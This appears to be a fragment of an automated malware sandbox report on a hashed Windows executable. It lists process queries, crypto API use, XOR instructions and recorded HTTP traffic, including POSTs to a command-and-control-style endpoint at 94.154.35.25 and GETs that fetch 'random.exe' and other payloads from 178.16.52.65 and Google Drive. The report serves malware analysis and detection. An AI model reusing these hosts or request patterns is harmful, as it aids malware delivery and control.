"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-404011639 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-404020436 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-406041131 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-406050417 [PID: 7344] "cmd.exe" queried SystemProcessInformation at 00000000-00004696-00000C15-406807528 [PID: 4696] "cmd.exe" queried SystemProcessInformation at 00000000-00004696-00000C15-406817418 [PID: 4696] "cmd.exe" queried SystemProcessInformation at 00000000-00004696-00000C15-407102299 [PID: 4696] "cmd.exe" queried SystemProcessInformation at 00000000-00004696-00000C15-407111648 [PID: 4696] "cmd.exe" queried SystemProcessInformation at 00000000-00007588-00000C15-407592507 [PID: 7588] "cmd.exe" queried SystemProcessInformation at 00000000-00007588-00000C15-407603534 [PID: 7588] "cmd.exe" queried SystemProcessInformation at 00000000-00007588-00000C15-407829189 [PID: 7588] "cmd.exe" queried SystemProcessInformation at 00000000-00007588-00000C15-407838136 [PID: 7588] "cmd.exe" queried SystemProcessInformation at 00000000-00006640-00000C15-408531925 [PID: 6640] "cmd.exe" queried SystemProcessInformation at 00000000-00006640-00000C15-408540069 [PID: 6640] "cmd.exe" queried SystemProcessInformation at 00000000-00006640-00000C15-408806242 [PID: 6640] "cmd.exe" queried SystemProcessInformation at 00000000-00006640-00000C15-408830784 [PID: 6640] "cmd.exe" queried SystemProcessInformation at 00000000-00003676-00000C15-409336607 [PID: 3676] "cmd.exe" queried SystemProcessInformation at 00000000-00003676-00000C15-409346253 [PID: 3676] "cmd.exe" queried SystemProcessInformation at 00000000-00003676-00000C15-409573610 [PID: 3676]31:T425,SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005808-56122-79-00A69A9C SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005808-56122-174-00A69D40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005808-56122-306-00A6A103 SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00006632-57117-19-01106F60 SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00006632-57117-22-01106D16 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007624-58598-33-010AFBCA SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007624-58598-94-010B8EBD SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007624-58598-286-010AF9D5 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007624-58598-292-010AF838 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002188-61970-3-0092D97D SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002188-61970-5-009286C8 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002188-61970-1270-00928FB5 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002188-61970-2227-0092911832:T40c,Found reference to API "CryptProtectMemory failed" (Indicator: "CryptProtectMemory"; File: "00000000-00007624.00000000.93979.01091000.00000020.mdmp") Found reference to API "CryptUnprotectMemory failed" (Indicator: "CryptUnprotectMemory"; File: "00000000-00007624.00000000.93979.01091000.00000020.mdmp") Found reference to API "CryptProtectMemory" (Indicator: "CryptProtectMemory"; File: "00000000-00007624.00000000.93979.01091000.00000020.mdmp") Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; File: "00000000-00007624.00000000.93979.01091000.00000020.mdmp") Found reference to API "description="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"" (Indicator: "CryptProtectData"; Source: "00000000-00004268.00000000.93518.03470000.00000004.mdmp") Found reference to API "description="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"" (Indicator: "CryptProtectData"; Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp")33:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}34:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-49-00A6EE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-92-00A6E950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-92-00A6E950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-126-00A6D490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-126-00A6D490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-129-00A6985C Assembly shows XOR instruction xor esi dword ptr [00A70394h] in Stream UID: 00000000-00005808-56122-129-00A6985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-129-00A6985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-133-00A6995D Assembly shows XOR instruction xor esi dword ptr [00A70390h] in Stream UID: 00000000-00005808-56122-133-00A6995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-133-00A6995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-135-00A6DAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-135-00A6DAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-137-00A6DA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-137-00A6DA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-141-00A6D610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-141-00A6D610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-149-00A6D560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-149-00A6D560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-151-00A6D501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-151-00A6D501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-158-00A6A510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-161-00A6A4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-162-00A6A4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-182-00A68190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-182-00A68190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005808-56122-194-00A6C4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005808-56122-194-00A6C4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-195-00A68AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-195-00A68AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-198-00A68E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-198-00A68E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-199-00A67C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-199-00A67C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-202-00A685B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-202-00A685B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-203-00A689F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-203-00A689F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-204-00A69030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-204-00A69030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-211-00A6D341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-211-00A6D341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-214-00A6C439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-214-00A6C439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005808-56122-215-00A692C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005808-56122-215-00A692C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00005808-56122-217-00A69F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00005808-56122-217-00A69F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00005808-56122-217-00A69F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00005808-56122-217-00A69F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00005808-56122-217-00A69F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00005808-56122-217-00A69F4335:T8611,Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "176Cache" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "/test/random" in header "GET /test/random.exe HTTP/1.1" Contains base64 string in header "download" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "8859" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "identity" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Host: drive.usercontent.google.comConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "8859" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "identity" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "65Connection" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "8859" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "identity" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "65Connection" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/files/mr/random" in header "GET /files/mr/random.exe HTTP/1.1" Contains base64 string in header "/service" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "8859" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "identity" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "65Connection" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: 